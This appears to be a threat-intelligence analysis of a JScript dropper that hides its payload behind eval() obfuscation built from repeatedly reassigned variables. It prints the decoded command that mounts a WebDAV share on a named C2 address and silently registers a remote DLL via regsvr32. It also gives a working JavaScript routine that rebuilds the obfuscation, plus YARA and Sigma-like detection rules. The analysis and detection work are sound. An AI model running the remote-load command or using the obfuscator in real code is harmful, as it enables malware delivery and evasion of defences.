unclassified-js-webdav-dropper: be448b37 — 75th sibling, sequential reassignment eval, C2 193.143.1.231:8888

Executive Summary

JScript dropper (137 KB single-line) using sequential variable-reassignment eval() obfuscation — 54 identifiers overwritten multiple times with single-character assignments, last-wins semantics. Decodes to a WScript.Shell.run() command that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. 75th confirmed sibling of the [unclassified-js-webdav-dropper](/intel/families/unclassified-js-webdav-dropper.html) family. Shares C2 IP 193.143.1.231:8888 with sibling fd437971 (67th sibling) but uses a completely distinct variable-name set and payload filename.

What It Is

• File type: ASCII text, JScript, 137 KB single line with no terminators. ^[file.txt] ^[rabin2-info.txt]
• Language: Windows Script Host JScript (.js / .jse delivery).
• Obfuscation dialect: Sequential variable reassignment inside a single function, eval() dispatch. No dictionary lookup table, no batch/polyglot layer, no PowerShell wrapper. ^[decoded_command.txt]
• Family: unclassified-js-webdav-dropper — 75th confirmed sibling. ^[entities/unclassified-js-webdav-dropper.md]

How It Works

The script opens with function iivvzy(){...}; containing a single expression:

this[wujzsurvw+bwagka+zqbeayby+iusbexlha](...)

The function body is a this["eval"](...) wrapper. The argument to eval() is itself a string literal built from +-concatenated variable names. After the closing } of the function, 54 variables are assigned single-character string values in sequence, e.g.:

rbuiketaa="Y";rbuiketaa="T";...;rbuiketaa="W";

Last assignment wins — rbuiketaa resolves to "W". When the function is called via iivvzy(); at end-of-file, all variables have their final values, and eval() executes the decoded string.

Two-stage decode required:

1. Decode outer function body → reveals this["eval"]("INNER_STRING").
2. Decode inner string → reveals the WScript execution chain.

Decompiled Behavior

Decoded payload chain (full decode at ^[decoded_command.txt]):

this["WScript"]["CreateObject"]("WScript.Shell")["run"](
  "cmd /c cmd /c net use \\193.143.1.231@8888\davwwwroot\\ " +
  "&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\\1858070621592.dll",
  0, false);

• 0 = hidden window (SW_HIDE).
• false = do not wait for command completion.
• regsvr32 /s = silent DLL registration (no UI, no error dialogs).

No sandbox gate, no debugger checks, no VM detection, no persistence mechanism, no decoy application. One-shot execution.

C2 Infrastructure

Same C2 IP as sibling fd437971 (payload 23332118668340.dll). Different payload filename confirms infrastructure reuse with rotated payloads.

Interesting Tidbits

• 54 variables with sequential overwrite pattern (e.g. rbuiketaa overwritten 11 times). Most variables receive 1–45 assignments; last value is the effective character. ^[decode_script.py]
• No dictionary object — unlike the 62-entry / 36-entry dictionary variants in this family, this dialect uses flat sequential assignments with no Function('return this')() object construction.
• Single-line 137 KB file — extreme horizontal compression with no line terminators, likely to evade line-based static signatures. ^[file.txt]
• Variable names are noise strings — no semantic content, 8–20 chars each (e.g. rbuiketaa, wujzsurvw, giflokuwa).
• Backslash encoding: isaeawlj resolves to \\ (two literal backslashes in the JS string), producing a single \ in the final cmd.exe command because JS "\\\\" → \\ in the shell. This is the same backslash-escape trick observed in sibling fd437971.

How To Mess With It (Homelab Replication)

// Minimal reproduction of the obfuscation engine
function obfuscate(cmd) {
  const vars = {};
  const chars = [...new Set(cmd.split(''))];
  // Generate noise variable names
  const names = chars.map((c,i) => 'v' + Math.random().toString(36).substring(2,10));
  names.forEach((n, i) => vars[chars[i]] = n);

  // Build assignments (sequential overwrite for fun)
  let assignments = '';
  names.forEach(n => {
    assignments += `${n}="X";`; // dummy overwrite
  });
  names.forEach((n, i) => {
    assignments += `${n}="${chars[i]}";`;
  });

  // Build concatenated expression
  const expr = cmd.split('').map(c => vars[c]).join('+');

  return `function run(){this[${expr}];};${assignments}run();`;
}

Verification: decode with the two-stage approach used in ^[decode_script.py] — tokenize, replace variables with charmap values, simplify "a"+"b" → "ab", then extract the inner eval() string and repeat.

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_SequentialReassign {
    meta:
        description = "JScript WebDAV dropper with sequential variable reassignment eval obfuscation"
        family = "unclassified-js-webdav-dropper"
        author = "triage"
        date = "2026-07-18"
    strings:
        $func = /function [a-z]{6,12}\(\)\s*\{/ ascii
        $eval1 = "this[eval]" ascii
        $eval2 = "this[\"eval\"]" ascii
        $wscript1 = "WScript" ascii
        $wscript2 = "wscript" ascii
        $netuse = /net use \\\\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@[0-9]+\\davwwwroot/ ascii
        $regsvr32 = "regsvr32 /s" ascii
        $rundll32 = "rundll32" ascii
        $var_assign = /[a-z]{8,20}="[a-zA-Z0-9\\]";/ ascii
    condition:
        $func and 1 of ($eval*) and 1 of ($wscript*) and 1 of ($netuse, $regsvr32, $rundll32)
        and #var_assign > 40
        and filesize < 500KB
}

Behavioral Hunt Query (Sigma-like)

title: WebDAV DLL Registration via Regsvr32 or Rundll32
detection:
  selection:
    - CommandLine|contains: 'regsvr32 /s \\'
    - CommandLine|contains: 'rundll32'
  webdav_path:
    - CommandLine|contains: '@8888\davwwwroot'
    - CommandLine|contains: '@80\davwwwroot'
  condition: selection and webdav_path

IOC List

Detection Signatures

References

• Sibling fd437971 — same C2 IP, same obfuscation dialect, payload 23332118668340.dll. ^[/intel/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a.html]
• Family entity page: [unclassified-js-webdav-dropper](/intel/families/unclassified-js-webdav-dropper.html)

Provenance

Analysis derived from static examination of JScript source. ^[file.txt] ^[strings.txt] ^[decode_script.py] ^[decoded_command.txt]. CAPE skipped as non-executable text. ^[dynamic-analysis.md]. Two-stage custom decoder written in Python 3; decoder script preserved at ^[decode_script.py].